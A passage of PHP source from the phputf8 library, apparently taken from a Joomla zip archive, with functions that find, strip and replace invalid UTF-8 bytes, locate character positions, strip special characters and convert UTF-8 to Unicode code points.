$bytes = strlen($matches[0]);
if ( isset($matches[2])) {
return $pos;
}
$pos += $bytes;
$str = substr($str,$bytes);
}
return FALSE;
}
//--------------------------------------------------------------------
/**
* Locates all bad bytes in a UTF-8 string and returns a list of their
* byte index in the string
* PCRE Pattern to locate bad bytes in a UTF-8 string
* Comes from W3 FAQ: Multilingual Forms
* Note: modified to include full ASCII range including control chars
* @see http://www.w3.org/International/questions/qa-forms-utf-8
* @param string
* @return mixed array of integers or FALSE if no bad found
* @package utf8
*/
function utf8_bad_findall($str) {
$UTF8_BAD =
'([\x00-\x7F]'. # ASCII (including
control chars)
'|[\xC2-\xDF][\x80-\xBF]'. # non-overlong
2-byte
'|\xE0[\xA0-\xBF][\x80-\xBF]'. # excluding
overlongs
'|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'. # straight 3-byte
'|\xED[\x80-\x9F][\x80-\xBF]'. # excluding
surrogates
'|\xF0[\x90-\xBF][\x80-\xBF]{2}'. # planes 1-3
'|[\xF1-\xF3][\x80-\xBF]{3}'. # planes 4-15
'|\xF4[\x80-\x8F][\x80-\xBF]{2}'. # plane 16
'|(.{1}))'; # invalid byte
$pos = 0;
$badList = array();
while (preg_match('/'.$UTF8_BAD.'/S', $str,
$matches)) {
$bytes = strlen($matches[0]);
if ( isset($matches[2])) {
$badList[] = $pos;
}
$pos += $bytes;
$str = substr($str,$bytes);
}
if ( count($badList) > 0 ) {
return $badList;
}
return FALSE;
}
//--------------------------------------------------------------------
/**
* Strips out any bad bytes from a UTF-8 string and returns the rest
* PCRE Pattern to locate bad bytes in a UTF-8 string
* Comes from W3 FAQ: Multilingual Forms
* Note: modified to include full ASCII range including control chars
* @see http://www.w3.org/International/questions/qa-forms-utf-8
* @param string
* @return string
* @package utf8
*/
function utf8_bad_strip($str) {
$UTF8_BAD =
'([\x00-\x7F]'. # ASCII (including
control chars)
'|[\xC2-\xDF][\x80-\xBF]'. # non-overlong
2-byte
'|\xE0[\xA0-\xBF][\x80-\xBF]'. # excluding
overlongs
'|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'. # straight 3-byte
'|\xED[\x80-\x9F][\x80-\xBF]'. # excluding
surrogates
'|\xF0[\x90-\xBF][\x80-\xBF]{2}'. # planes 1-3
'|[\xF1-\xF3][\x80-\xBF]{3}'. # planes 4-15
'|\xF4[\x80-\x8F][\x80-\xBF]{2}'. # plane 16
'|(.{1}))'; # invalid byte
ob_start();
while (preg_match('/'.$UTF8_BAD.'/S', $str,
$matches)) {
if ( !isset($matches[2])) {
echo $matches[0];
}
$str = substr($str,strlen($matches[0]));
}
$result = ob_get_contents();
ob_end_clean();
return $result;
}
//--------------------------------------------------------------------
/**
* Replace bad bytes with an alternative character - ASCII character
* recommended is replacement char
* PCRE Pattern to locate bad bytes in a UTF-8 string
* Comes from W3 FAQ: Multilingual Forms
* Note: modified to include full ASCII range including control chars
* @see http://www.w3.org/International/questions/qa-forms-utf-8
* @param string to search
* @param string to replace bad bytes with (defaults to '?') - use
ASCII
* @return string
* @package utf8
*/
function utf8_bad_replace($str, $replace = '?') {
$UTF8_BAD =
'([\x00-\x7F]'. # ASCII (including
control chars)
'|[\xC2-\xDF][\x80-\xBF]'. # non-overlong
2-byte
'|\xE0[\xA0-\xBF][\x80-\xBF]'. # excluding
overlongs
'|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'. # straight 3-byte
'|\xED[\x80-\x9F][\x80-\xBF]'. # excluding
surrogates
'|\xF0[\x90-\xBF][\x80-\xBF]{2}'. # planes 1-3
'|[\xF1-\xF3][\x80-\xBF]{3}'. # planes 4-15
'|\xF4[\x80-\x8F][\x80-\xBF]{2}'. # plane 16
'|(.{1}))'; # invalid byte
ob_start();
while (preg_match('/'.$UTF8_BAD.'/S', $str,
$matches)) {
if ( !isset($matches[2])) {
echo $matches[0];
} else {
echo $replace;
}
$str = substr($str,strlen($matches[0]));
}
$result = ob_get_contents();
ob_end_clean();
return $result;
}
//--------------------------------------------------------------------
/**
* Return code from utf8_bad_identify() when a five octet sequence is
detected.
* Note: 5 octets sequences are valid UTF-8 but are not supported by Unicode
so
* do not represent a useful character
* @see utf8_bad_identify
* @package utf8
*/
define('UTF8_BAD_5OCTET',1);
/**
* Return code from utf8_bad_identify() when a six octet sequence is
detected.
* Note: 6 octets sequences are valid UTF-8 but are not supported by Unicode
so
* do not represent a useful character
* @see utf8_bad_identify
* @package utf8
*/
define('UTF8_BAD_6OCTET',2);
/**
* Return code from utf8_bad_identify().
* Invalid octet for use as start of multi-byte UTF-8 sequence
* @see utf8_bad_identify
* @package utf8
*/
define('UTF8_BAD_SEQID',3);
/**
* Return code from utf8_bad_identify().
* From Unicode 3.1, non-shortest form is illegal
* @see utf8_bad_identify
* @package utf8
*/
define('UTF8_BAD_NONSHORT',4);
/**
* Return code from utf8_bad_identify().
* From Unicode 3.2, surrogate characters are illegal
* @see utf8_bad_identify
* @package utf8
*/
define('UTF8_BAD_SURROGATE',5);
/**
* Return code from utf8_bad_identify().
* Codepoints outside the Unicode range are illegal
* @see utf8_bad_identify
* @package utf8
*/
define('UTF8_BAD_UNIOUTRANGE',6);
/**
* Return code from utf8_bad_identify().
* Incomplete multi-octet sequence
* Note: this is kind of a "catch-all"
* @see utf8_bad_identify
* @package utf8
*/
define('UTF8_BAD_SEQINCOMPLETE',7);
//--------------------------------------------------------------------
/**
* Reports on the type of bad byte found in a UTF-8 string. Returns a
* status code on the first bad byte found
*
* Joomla modification - As of PHP 7.4, curly brace access has been
deprecated. As a result this function has been
* modified to use square brace syntax
* See
https://github.com/php/php-src/commit/d574df63dc375f5fc9202ce5afde23f866b6450a
* for additional references
*
* @author <hsivonen@iki.fi>
* @param string UTF-8 encoded string
* @return mixed integer constant describing problem or FALSE if valid UTF-8
* @see utf8_bad_explain
* @see http://hsivonen.iki.fi/php-utf8/
* @package utf8
*/
function utf8_bad_identify($str, &$i) {
$mState = 0; // cached expected number of octets after the current
octet
// until the beginning of the next UTF8 character
sequence
$mUcs4 = 0; // cached Unicode character
$mBytes = 1; // cached expected number of octets in the current
sequence
$len = strlen($str);
for($i = 0; $i < $len; $i++) {
$in = ord($str[$i]);
if ( $mState == 0) {
// When mState is zero we expect either a US-ASCII character or
a
// multi-octet sequence.
if (0 == (0x80 & ($in))) {
// US-ASCII, pass straight through.
$mBytes = 1;
} else if (0xC0 == (0xE0 & ($in))) {
// First octet of 2 octet sequence
$mUcs4 = ($in);
$mUcs4 = ($mUcs4 & 0x1F) << 6;
$mState = 1;
$mBytes = 2;
} else if (0xE0 == (0xF0 & ($in))) {
// First octet of 3 octet sequence
$mUcs4 = ($in);
$mUcs4 = ($mUcs4 & 0x0F) << 12;
$mState = 2;
$mBytes = 3;
} else if (0xF0 == (0xF8 & ($in))) {
// First octet of 4 octet sequence
$mUcs4 = ($in);
$mUcs4 = ($mUcs4 & 0x07) << 18;
$mState = 3;
$mBytes = 4;
} else if (0xF8 == (0xFC & ($in))) {
/* First octet of 5 octet sequence.
*
* This is illegal because the encoded codepoint must be
either
* (a) not the shortest form or
* (b) outside the Unicode range of 0-0x10FFFF.
*/
return UTF8_BAD_5OCTET;
} else if (0xFC == (0xFE & ($in))) {
// First octet of 6 octet sequence, see comments for 5
octet sequence.
return UTF8_BAD_6OCTET;
} else {
// Current octet is neither in the US-ASCII range nor a
legal first
// octet of a multi-octet sequence.
return UTF8_BAD_SEQID;
}
} else {
// When mState is non-zero, we expect a continuation of the
multi-octet
// sequence
if (0x80 == (0xC0 & ($in))) {
// Legal continuation.
$shift = ($mState - 1) * 6;
$tmp = $in;
$tmp = ($tmp & 0x0000003F) << $shift;
$mUcs4 |= $tmp;
/**
* End of the multi-octet sequence. mUcs4 now contains the
final
* Unicode codepoint to be output
*/
if (0 == --$mState) {
// From Unicode 3.1, non-shortest form is illegal
if (((2 == $mBytes) && ($mUcs4 < 0x0080)) ||
((3 == $mBytes) && ($mUcs4 < 0x0800)) ||
((4 == $mBytes) && ($mUcs4 < 0x10000)) )
{
return UTF8_BAD_NONSHORT;
// From Unicode 3.2, surrogate characters are illegal
} else if (($mUcs4 & 0xFFFFF800) == 0xD800) {
return UTF8_BAD_SURROGATE;
// Codepoints outside the Unicode range are illegal
} else if ($mUcs4 > 0x10FFFF) {
return UTF8_BAD_UNIOUTRANGE;
}
//initialize UTF8 cache
$mState = 0;
$mUcs4 = 0;
$mBytes = 1;
}
} else {
// ((0xC0 & (*in) != 0x80) && (mState != 0))
// Incomplete multi-octet sequence.
$i--;
return UTF8_BAD_SEQINCOMPLETE;
}
}
}
if ( $mState != 0 ) {
// Incomplete multi-octet sequence.
$i--;
return UTF8_BAD_SEQINCOMPLETE;
}
// No bad octets found
$i = NULL;
return FALSE;
}
//--------------------------------------------------------------------
/**
* Takes a return code from utf8_bad_identify() are returns a message
* (in English) explaining what the problem is.
* @param int return code from utf8_bad_identify
* @return mixed string message or FALSE if return code unknown
* @see utf8_bad_identify
* @package utf8
*/
function utf8_bad_explain($code) {
switch ($code) {
case UTF8_BAD_5OCTET:
return 'Five octet sequences are valid UTF-8 but are not
supported by Unicode';
break;
case UTF8_BAD_6OCTET:
return 'Six octet sequences are valid UTF-8 but are not
supported by Unicode';
break;
case UTF8_BAD_SEQID:
return 'Invalid octet for use as start of multi-byte UTF-8
sequence';
break;
case UTF8_BAD_NONSHORT:
return 'From Unicode 3.1, non-shortest form is
illegal';
break;
case UTF8_BAD_SURROGATE:
return 'From Unicode 3.2, surrogate characters are
illegal';
break;
case UTF8_BAD_UNIOUTRANGE:
return 'Codepoints outside the Unicode range are
illegal';
break;
case UTF8_BAD_SEQINCOMPLETE:
return 'Incomplete multi-octet sequence';
break;
}
trigger_error('Unknown error code: '.$code,E_USER_WARNING);
return FALSE;
}
PKDž�[f
3VBB%string/src/phputf8/utils/patterns.phpnu�[���<?php
/**
* PCRE Regular expressions for UTF-8. Note this file is not actually used
by
* the rest of the library but these regular expressions can be useful to
have
* available.
* @see http://www.w3.org/International/questions/qa-forms-utf-8
* @package utf8
*/
//--------------------------------------------------------------------
/**
* PCRE Pattern to check a UTF-8 string is valid
* Comes from W3 FAQ: Multilingual Forms
* Note: modified to include full ASCII range including control chars
* @see http://www.w3.org/International/questions/qa-forms-utf-8
* @package utf8
*/
$UTF8_VALID = '^('.
'[\x00-\x7F]'. # ASCII (including
control chars)
'|[\xC2-\xDF][\x80-\xBF]'. # non-overlong 2-byte
'|\xE0[\xA0-\xBF][\x80-\xBF]'. # excluding overlongs
'|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'. # straight 3-byte
'|\xED[\x80-\x9F][\x80-\xBF]'. # excluding
surrogates
'|\xF0[\x90-\xBF][\x80-\xBF]{2}'. # planes 1-3
'|[\xF1-\xF3][\x80-\xBF]{3}'. # planes 4-15
'|\xF4[\x80-\x8F][\x80-\xBF]{2}'. # plane 16
')*$';
//--------------------------------------------------------------------
/**
* PCRE Pattern to match single UTF-8 characters
* Comes from W3 FAQ: Multilingual Forms
* Note: modified to include full ASCII range including control chars
* @see http://www.w3.org/International/questions/qa-forms-utf-8
* @package utf8
*/
$UTF8_MATCH =
'([\x00-\x7F])'. # ASCII (including
control chars)
'|([\xC2-\xDF][\x80-\xBF])'. # non-overlong
2-byte
'|(\xE0[\xA0-\xBF][\x80-\xBF])'. # excluding
overlongs
'|([\xE1-\xEC\xEE\xEF][\x80-\xBF]{2})'. # straight 3-byte
'|(\xED[\x80-\x9F][\x80-\xBF])'. # excluding
surrogates
'|(\xF0[\x90-\xBF][\x80-\xBF]{2})'. # planes 1-3
'|([\xF1-\xF3][\x80-\xBF]{3})'. # planes 4-15
'|(\xF4[\x80-\x8F][\x80-\xBF]{2})'; # plane 16
//--------------------------------------------------------------------
/**
* PCRE Pattern to locate bad bytes in a UTF-8 string
* Comes from W3 FAQ: Multilingual Forms
* Note: modified to include full ASCII range including control chars
* @see http://www.w3.org/International/questions/qa-forms-utf-8
* @package utf8
*/
$UTF8_BAD =
'([\x00-\x7F]'. # ASCII (including
control chars)
'|[\xC2-\xDF][\x80-\xBF]'. # non-overlong
2-byte
'|\xE0[\xA0-\xBF][\x80-\xBF]'. # excluding
overlongs
'|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'. # straight 3-byte
'|\xED[\x80-\x9F][\x80-\xBF]'. # excluding
surrogates
'|\xF0[\x90-\xBF][\x80-\xBF]{2}'. # planes 1-3
'|[\xF1-\xF3][\x80-\xBF]{3}'. # planes 4-15
'|\xF4[\x80-\x8F][\x80-\xBF]{2}'. # plane 16
'|(.{1}))'; # invalid byte
PKDž�[U�����%string/src/phputf8/utils/position.phpnu�[���<?php
/**
* Locate a byte index given a UTF-8 character index
* @package utf8
*/
//--------------------------------------------------------------------
/**
* Given a string and a character index in the string, in
* terms of the UTF-8 character position, returns the byte
* index of that character. Can be useful when you want to
* PHP's native string functions but we warned, locating
* the byte can be expensive
* Takes variable number of parameters - first must be
* the search string then 1 to n UTF-8 character positions
* to obtain byte indexes for - it is more efficient to search
* the string for multiple characters at once, than make
* repeated calls to this function
*
* @author Chris Smith<chris@jalakai.co.uk>
* @param string string to locate index in
* @param int (n times)
* @return mixed - int if only one input int, array if more
* @return boolean TRUE if it's all ASCII
* @package utf8
*/
function utf8_byte_position() {
$args = func_get_args();
$str =& array_shift($args);
if (!is_string($str)) return false;
$result = array();
// trivial byte index, character offset pair
$prev = array(0,0);
// use a short piece of str to estimate bytes per character
// $i (& $j) -> byte indexes into $str
$i = utf8_locate_next_chr($str, 300);
// $c -> character offset into $str
$c = strlen(utf8_decode(substr($str,0,$i)));
// deal with arguments from lowest to highest
sort($args);
foreach ($args as $offset) {
// sanity checks FIXME
// 0 is an easy check
if ($offset == 0) { $result[] = 0; continue; }
// ensure no endless looping
$safety_valve = 50;
do {
if ( ($c - $prev[1]) == 0 ) {
// Hack: gone past end of string
$error = 0;
$i = strlen($str);
break;
}
$j = $i + (int)(($offset-$c) * ($i - $prev[0]) / ($c -
$prev[1]));
// correct to utf8 character boundary
$j = utf8_locate_next_chr($str, $j);
// save the index, offset for use next iteration
$prev = array($i,$c);
if ($j > $i) {
// determine new character offset
$c += strlen(utf8_decode(substr($str,$i,$j-$i)));
} else {
// ditto
$c -= strlen(utf8_decode(substr($str,$j,$i-$j)));
}
$error = abs($c-$offset);
// ready for next time around
$i = $j;
// from 7 it is faster to iterate over the string
} while ( ($error > 7) && --$safety_valve) ;
if ($error && $error <= 7) {
if ($c < $offset) {
// move up
while ($error--) { $i = utf8_locate_next_chr($str,++$i); }
} else {
// move down
while ($error--) { $i = utf8_locate_current_chr($str,--$i);
}
}
// ready for next arg
$c = $offset;
}
$result[] = $i;
}
if ( count($result) == 1 ) {
return $result[0];
}
return $result;
}
//--------------------------------------------------------------------
/**
* Given a string and any byte index, returns the byte index
* of the start of the current UTF-8 character, relative to supplied
* position. If the current character begins at the same place as the
* supplied byte index, that byte index will be returned. Otherwise
* this function will step backwards, looking for the index where
* curent UTF-8 character begins
* @author Chris Smith<chris@jalakai.co.uk>
* @param string
* @param int byte index in the string
* @return int byte index of start of next UTF-8 character
* @package utf8
*/
function utf8_locate_current_chr( &$str, $idx ) {
if ($idx <= 0) return 0;
$limit = strlen($str);
if ($idx >= $limit) return $limit;
// Binary value for any byte after the first in a multi-byte UTF-8
character
// will be like 10xxxxxx so & 0xC0 can be used to detect this kind
// of byte - assuming well formed UTF-8
while ($idx && ((ord($str[$idx]) & 0xC0) == 0x80)) $idx--;
return $idx;
}
//--------------------------------------------------------------------
/**
* Given a string and any byte index, returns the byte index
* of the start of the next UTF-8 character, relative to supplied
* position. If the next character begins at the same place as the
* supplied byte index, that byte index will be returned.
* @author Chris Smith<chris@jalakai.co.uk>
* @param string
* @param int byte index in the string
* @return int byte index of start of next UTF-8 character
* @package utf8
*/
function utf8_locate_next_chr( &$str, $idx ) {
if ($idx <= 0) return 0;
$limit = strlen($str);
if ($idx >= $limit) return $limit;
// Binary value for any byte after the first in a multi-byte UTF-8
character
// will be like 10xxxxxx so & 0xC0 can be used to detect this kind
// of byte - assuming well formed UTF-8
while (($idx < $limit) && ((ord($str[$idx]) & 0xC0) ==
0x80)) $idx++;
return $idx;
}
PKDž�[+OcgBB%string/src/phputf8/utils/specials.phpnu�[���<?php
/**
* Utilities for processing "special" characters in UTF-8.
"Special" largely means anything which would
* be regarded as a non-word character, like ASCII control characters and
punctuation. This has a "Roman"
* bias - it would be unaware of modern Chinese "punctuation"
characters for example.
* Note: requires utils/unicode.php to be loaded
* @package utf8
* @see utf8_is_valid
*/
//--------------------------------------------------------------------
/**
* Used internally. Builds a PCRE pattern from the $UTF8_SPECIAL_CHARS
* array defined in this file
* The $UTF8_SPECIAL_CHARS should contain all special characters
(non-letter/non-digit)
* defined in the various local charsets - it's not a complete list of
* non-alphanum characters in UTF-8. It's not perfect but should match
most
* cases of special chars.
* This function adds the control chars 0x00 to 0x19 to the array of
* special chars (they are not included in $UTF8_SPECIAL_CHARS)
* @package utf8
* @return string
* @see utf8_from_unicode
* @see utf8_is_word_chars
* @see utf8_strip_specials
*/
function utf8_specials_pattern() {
static $pattern = NULL;
if ( !$pattern ) {
$UTF8_SPECIAL_CHARS = array(
0x001a, 0x001b, 0x001c, 0x001d, 0x001e, 0x001f, 0x0020, 0x0021, 0x0022,
0x0023,
0x0024, 0x0025, 0x0026, 0x0027, 0x0028, 0x0029, 0x002a, 0x002b, 0x002c,
0x002f, 0x003b, 0x003c, 0x003d, 0x003e, 0x003f, 0x0040, 0x005b,
0x005c, 0x005d, 0x005e, 0x0060, 0x007b, 0x007c, 0x007d, 0x007e,
0x007f, 0x0080, 0x0081, 0x0082, 0x0083, 0x0084, 0x0085, 0x0086, 0x0087,
0x0088,
0x0089, 0x008a, 0x008b, 0x008c, 0x008d, 0x008e, 0x008f, 0x0090, 0x0091,
0x0092,
0x0093, 0x0094, 0x0095, 0x0096, 0x0097, 0x0098, 0x0099, 0x009a, 0x009b,
0x009c,
0x009d, 0x009e, 0x009f, 0x00a0, 0x00a1, 0x00a2, 0x00a3, 0x00a4, 0x00a5,
0x00a6,
0x00a7, 0x00a8, 0x00a9, 0x00aa, 0x00ab, 0x00ac, 0x00ad, 0x00ae, 0x00af,
0x00b0,
0x00b1, 0x00b2, 0x00b3, 0x00b4, 0x00b5, 0x00b6, 0x00b7, 0x00b8, 0x00b9,
0x00ba,
0x00bb, 0x00bc, 0x00bd, 0x00be, 0x00bf, 0x00d7, 0x00f7, 0x02c7, 0x02d8,
0x02d9,
0x02da, 0x02db, 0x02dc, 0x02dd, 0x0300, 0x0301, 0x0303, 0x0309, 0x0323,
0x0384,
0x0385, 0x0387, 0x03b2, 0x03c6, 0x03d1, 0x03d2, 0x03d5, 0x03d6, 0x05b0,
0x05b1,
0x05b2, 0x05b3, 0x05b4, 0x05b5, 0x05b6, 0x05b7, 0x05b8, 0x05b9, 0x05bb,
0x05bc,
0x05bd, 0x05be, 0x05bf, 0x05c0, 0x05c1, 0x05c2, 0x05c3, 0x05f3, 0x05f4,
0x060c,
0x061b, 0x061f, 0x0640, 0x064b, 0x064c, 0x064d, 0x064e, 0x064f, 0x0650,
0x0651,
0x0652, 0x066a, 0x0e3f, 0x200c, 0x200d, 0x200e, 0x200f, 0x2013, 0x2014,
0x2015,
0x2017, 0x2018, 0x2019, 0x201a, 0x201c, 0x201d, 0x201e, 0x2020, 0x2021,
0x2022,
0x2026, 0x2030, 0x2032, 0x2033, 0x2039, 0x203a, 0x2044, 0x20a7, 0x20aa,
0x20ab,
0x20ac, 0x2116, 0x2118, 0x2122, 0x2126, 0x2135, 0x2190, 0x2191, 0x2192,
0x2193,
0x2194, 0x2195, 0x21b5, 0x21d0, 0x21d1, 0x21d2, 0x21d3, 0x21d4, 0x2200,
0x2202,
0x2203, 0x2205, 0x2206, 0x2207, 0x2208, 0x2209, 0x220b, 0x220f, 0x2211,
0x2212,
0x2215, 0x2217, 0x2219, 0x221a, 0x221d, 0x221e, 0x2220, 0x2227, 0x2228,
0x2229,
0x222a, 0x222b, 0x2234, 0x223c, 0x2245, 0x2248, 0x2260, 0x2261, 0x2264,
0x2265,
0x2282, 0x2283, 0x2284, 0x2286, 0x2287, 0x2295, 0x2297, 0x22a5, 0x22c5,
0x2310,
0x2320, 0x2321, 0x2329, 0x232a, 0x2469, 0x2500, 0x2502, 0x250c, 0x2510,
0x2514,
0x2518, 0x251c, 0x2524, 0x252c, 0x2534, 0x253c, 0x2550, 0x2551, 0x2552,
0x2553,
0x2554, 0x2555, 0x2556, 0x2557, 0x2558, 0x2559, 0x255a, 0x255b, 0x255c,
0x255d,
0x255e, 0x255f, 0x2560, 0x2561, 0x2562, 0x2563, 0x2564, 0x2565, 0x2566,
0x2567,
0x2568, 0x2569, 0x256a, 0x256b, 0x256c, 0x2580, 0x2584, 0x2588, 0x258c,
0x2590,
0x2591, 0x2592, 0x2593, 0x25a0, 0x25b2, 0x25bc, 0x25c6, 0x25ca, 0x25cf,
0x25d7,
0x2605, 0x260e, 0x261b, 0x261e, 0x2660, 0x2663, 0x2665, 0x2666, 0x2701,
0x2702,
0x2703, 0x2704, 0x2706, 0x2707, 0x2708, 0x2709, 0x270c, 0x270d, 0x270e,
0x270f,
0x2710, 0x2711, 0x2712, 0x2713, 0x2714, 0x2715, 0x2716, 0x2717, 0x2718,
0x2719,
0x271a, 0x271b, 0x271c, 0x271d, 0x271e, 0x271f, 0x2720, 0x2721, 0x2722,
0x2723,
0x2724, 0x2725, 0x2726, 0x2727, 0x2729, 0x272a, 0x272b, 0x272c, 0x272d,
0x272e,
0x272f, 0x2730, 0x2731, 0x2732, 0x2733, 0x2734, 0x2735, 0x2736, 0x2737,
0x2738,
0x2739, 0x273a, 0x273b, 0x273c, 0x273d, 0x273e, 0x273f, 0x2740, 0x2741,
0x2742,
0x2743, 0x2744, 0x2745, 0x2746, 0x2747, 0x2748, 0x2749, 0x274a, 0x274b,
0x274d,
0x274f, 0x2750, 0x2751, 0x2752, 0x2756, 0x2758, 0x2759, 0x275a, 0x275b,
0x275c,
0x275d, 0x275e, 0x2761, 0x2762, 0x2763, 0x2764, 0x2765, 0x2766, 0x2767,
0x277f,
0x2789, 0x2793, 0x2794, 0x2798, 0x2799, 0x279a, 0x279b, 0x279c, 0x279d,
0x279e,
0x279f, 0x27a0, 0x27a1, 0x27a2, 0x27a3, 0x27a4, 0x27a5, 0x27a6, 0x27a7,
0x27a8,
0x27a9, 0x27aa, 0x27ab, 0x27ac, 0x27ad, 0x27ae, 0x27af, 0x27b1, 0x27b2,
0x27b3,
0x27b4, 0x27b5, 0x27b6, 0x27b7, 0x27b8, 0x27b9, 0x27ba, 0x27bb, 0x27bc,
0x27bd,
0x27be, 0xf6d9, 0xf6da, 0xf6db, 0xf8d7, 0xf8d8, 0xf8d9, 0xf8da, 0xf8db,
0xf8dc,
0xf8dd, 0xf8de, 0xf8df, 0xf8e0, 0xf8e1, 0xf8e2, 0xf8e3, 0xf8e4, 0xf8e5,
0xf8e6,
0xf8e7, 0xf8e8, 0xf8e9, 0xf8ea, 0xf8eb, 0xf8ec, 0xf8ed, 0xf8ee, 0xf8ef,
0xf8f0,
0xf8f1, 0xf8f2, 0xf8f3, 0xf8f4, 0xf8f5, 0xf8f6, 0xf8f7, 0xf8f8, 0xf8f9,
0xf8fa,
0xf8fb, 0xf8fc, 0xf8fd, 0xf8fe, 0xfe7c, 0xfe7d,
);
$pattern = preg_quote(utf8_from_unicode($UTF8_SPECIAL_CHARS),
'/');
$pattern = '/[\x00-\x19'.$pattern.']/u';
}
return $pattern;
}
//--------------------------------------------------------------------
/**
* Checks a string for whether it contains only word characters. This
* is logically equivalent to the \w PCRE meta character. Note that
* this is not a 100% guarantee that the string only contains alpha /
* numeric characters but just that common non-alphanumeric are not
* in the string, including ASCII device control characters.
* @package utf8
* @param string to check
* @return boolean TRUE if the string only contains word characters
* @see utf8_specials_pattern
*/
function utf8_is_word_chars($str) {
return !(bool)preg_match(utf8_specials_pattern(),$str);
}
//--------------------------------------------------------------------
/**
* Removes special characters (nonalphanumeric) from a UTF-8 string
*
* This can be useful as a helper for sanitizing a string for use as
* something like a file name or a unique identifier. Be warned though
* it does not handle all possible non-alphanumeric characters and is
* not intended is some kind of security / injection filter.
*
* @package utf8
* @author Andreas Gohr <andi@splitbrain.org>
* @param string $string The UTF8 string to strip of special chars
* @param string (optional) $repl Replace special with this string
* @return string with common non-alphanumeric characters removed
* @see utf8_specials_pattern
*/
function utf8_strip_specials($string, $repl=''){
return preg_replace(utf8_specials_pattern(), $repl, $string);
}
PKDž�[4�/%/%$string/src/phputf8/utils/unicode.phpnu�[���<?php
/**
* Tools for conversion between UTF-8 and unicode
* The Original Code is Mozilla Communicator client code.
* The Initial Developer of the Original Code is
* Netscape Communications Corporation.
* Portions created by the Initial Developer are Copyright (C) 1998
* the Initial Developer. All Rights Reserved.
* Ported to PHP by Henri Sivonen (http://hsivonen.iki.fi)
* Slight modifications to fit with phputf8 library by Harry Fuecks (hfuecks
gmail com)
* @see
http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUTF8ToUnicode.cpp
* @see
http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUnicodeToUTF8.cpp
* @see http://hsivonen.iki.fi/php-utf8/
* @package utf8
*/
//--------------------------------------------------------------------
/**
* Takes an UTF-8 string and returns an array of ints representing the
* Unicode characters. Astral planes are supported ie. the ints in the
* output can be > 0xFFFF. Occurrances of the BOM are ignored. Surrogates
* are not allowed.
* Returns false if the input string isn't a valid UTF-8 octet sequence
* and raises a PHP error at level E_USER_WARNING
* Note: this function has been modified slightly in this library to
* trigger errors on encountering bad bytes
*
* Joomla modification - As of PHP 7.4, curly brace access has been
deprecated. As a result this function has been
* modified to use square brace syntax
* See
https://github.com/php/php-src/commit/d574df63dc375f5fc9202ce5afde23f866b6450a
* for additional references
*
* @author <hsivonen@iki.fi>
* @param string UTF-8 encoded string
* @return mixed array of unicode code points or FALSE if UTF-8 invalid
* @see utf8_from_unicode
* @see http://hsivonen.iki.fi/php-utf8/
* @package utf8
*/
function utf8_to_unicode($str) {
$mState = 0; // cached expected number of octets after the current
octet
// until the beginning of the next UTF8 character
sequence
$mUcs4 = 0; // cached Unicode character
$mBytes = 1; // cached expected number of octets in the current
sequence
$out = array();
$len = strlen($str);
for($i = 0; $i < $len; $i++) {
$in = ord($str[$i]);
if ( $mState == 0) {
// When mState is zero we expect either a US-ASCII character or
a
// multi-octet sequence.
if (0 == (0x80 & ($in))) {
// US-ASCII, pass straight through.
$out[] = $in;
$mBytes = 1;
} else if (0xC0 == (0xE0 & ($in))) {
// First octet of 2 octet sequence
$mUcs4 = ($in);
$mUcs4 = ($mUcs4 & 0x1F) << 6;
$mState = 1;
$mBytes = 2;
} else if (0xE0 == (0xF0 & ($in))) {
// First octet of 3 octet sequence
$mUcs4 = ($in);
$mUcs4 = ($mUcs4 & 0x0F) << 12;
$mState = 2;
$mBytes = 3;
} else if (0xF0 == (0xF8 & ($in))) {
// First octet of 4 octet sequence
$mUcs4 = ($in);
$mUcs4 = ($mUcs4 & 0x07) << 18;
$mState = 3;
$mBytes = 4;
} else if (0xF8 == (0xFC & ($in))) {
/* First octet of 5 octet sequence.
*
* This is illegal because the encoded codepoint must be
either
* (a) not the shortest form or
* (b) outside the Unicode range of 0-0x10FFFF.
* Rather than trying to resynchronize, we will carry on
until the end
* of the sequence and let the later error handling code
catch it.
*/
$mUcs4 = ($in);
$mUcs4 = ($mUcs4 & 0x03) << 24;
$mState = 4;
$mBytes = 5;
} else if (0xFC == (0xFE & ($in))) {
// First octet of 6 octet sequence, see comments for 5
octet sequence.
$mUcs4 = ($in);
$mUcs4 = ($mUcs4 & 1) << 30;
$mState = 5;
$mBytes = 6;
} else {
/* Current octet is neither in the US-ASCII range nor a
legal first
* octet of a multi-octet sequence.
*/
trigger_error(
'utf8_to_unicode: Illegal sequence identifier
'.
'in UTF-8 at byte '.$i,
E_USER_WARNING
);
return FALSE;
}
} else {
// When mState is non-zero, we expect a continuation of the
multi-octet
// sequence
if (0x80 == (0xC0 & ($in))) {
// Legal continuation.
$shift = ($mState - 1) * 6;
$tmp = $in;
$tmp = ($tmp & 0x0000003F) << $shift;
$mUcs4 |= $tmp;
/**
* End of the multi-octet sequence. mUcs4 now contains the
final
* Unicode codepoint to be output
*/
if (0 == --$mState) {
/*
* Check for illegal sequences and codepoints.
*/
// From Unicode 3.1, non-shortest form is illegal
if (((2 == $mBytes) && ($mUcs4 < 0x0080)) ||
((3 == $mBytes) && ($mUcs4 < 0x0800)) ||
((4 == $mBytes) && ($mUcs4 < 0x10000))
||
(4 < $mBytes) ||
// From Unicode 3.2, surrogate characters are
illegal
(($mUcs4 & 0xFFFFF800) == 0xD800) ||
// Codepoints outside the Unicode range are illegal
($mUcs4 > 0x10FFFF)) {
trigger_error(
'utf8_to_unicode: Illegal sequence or
codepoint '.
'in UTF-8 at byte '.$i,
E_USER_WARNING
);
return FALSE;
}
if (0xFEFF != $mUcs4) {
// BOM is legal but we don't want to output it
$out[] = $mUcs4;
}
//initialize UTF8 cache
$mState = 0;
$mUcs4 = 0;
$mBytes = 1;
}
} else {
/**
*((0xC0 & (*in) != 0x80) && (mState != 0))
* Incomplete multi-octet sequence.
*/
trigger_error(
'utf8_to_unicode: Incomplete multi-octet
'.
' sequence in UTF-8 at byte '.$i,
E_USER_WARNING
);
return FALSE;
}
}
}
return $out;
}
//--------------------------------------------------------------------
/**
* Takes an array of ints representing the Unicode characters and returns
* a UTF-8 string. Astral planes are supported ie. the ints in the
* input can be > 0xFFFF. Occurrances of the BOM are ignored. Surrogates
* are not allowed.
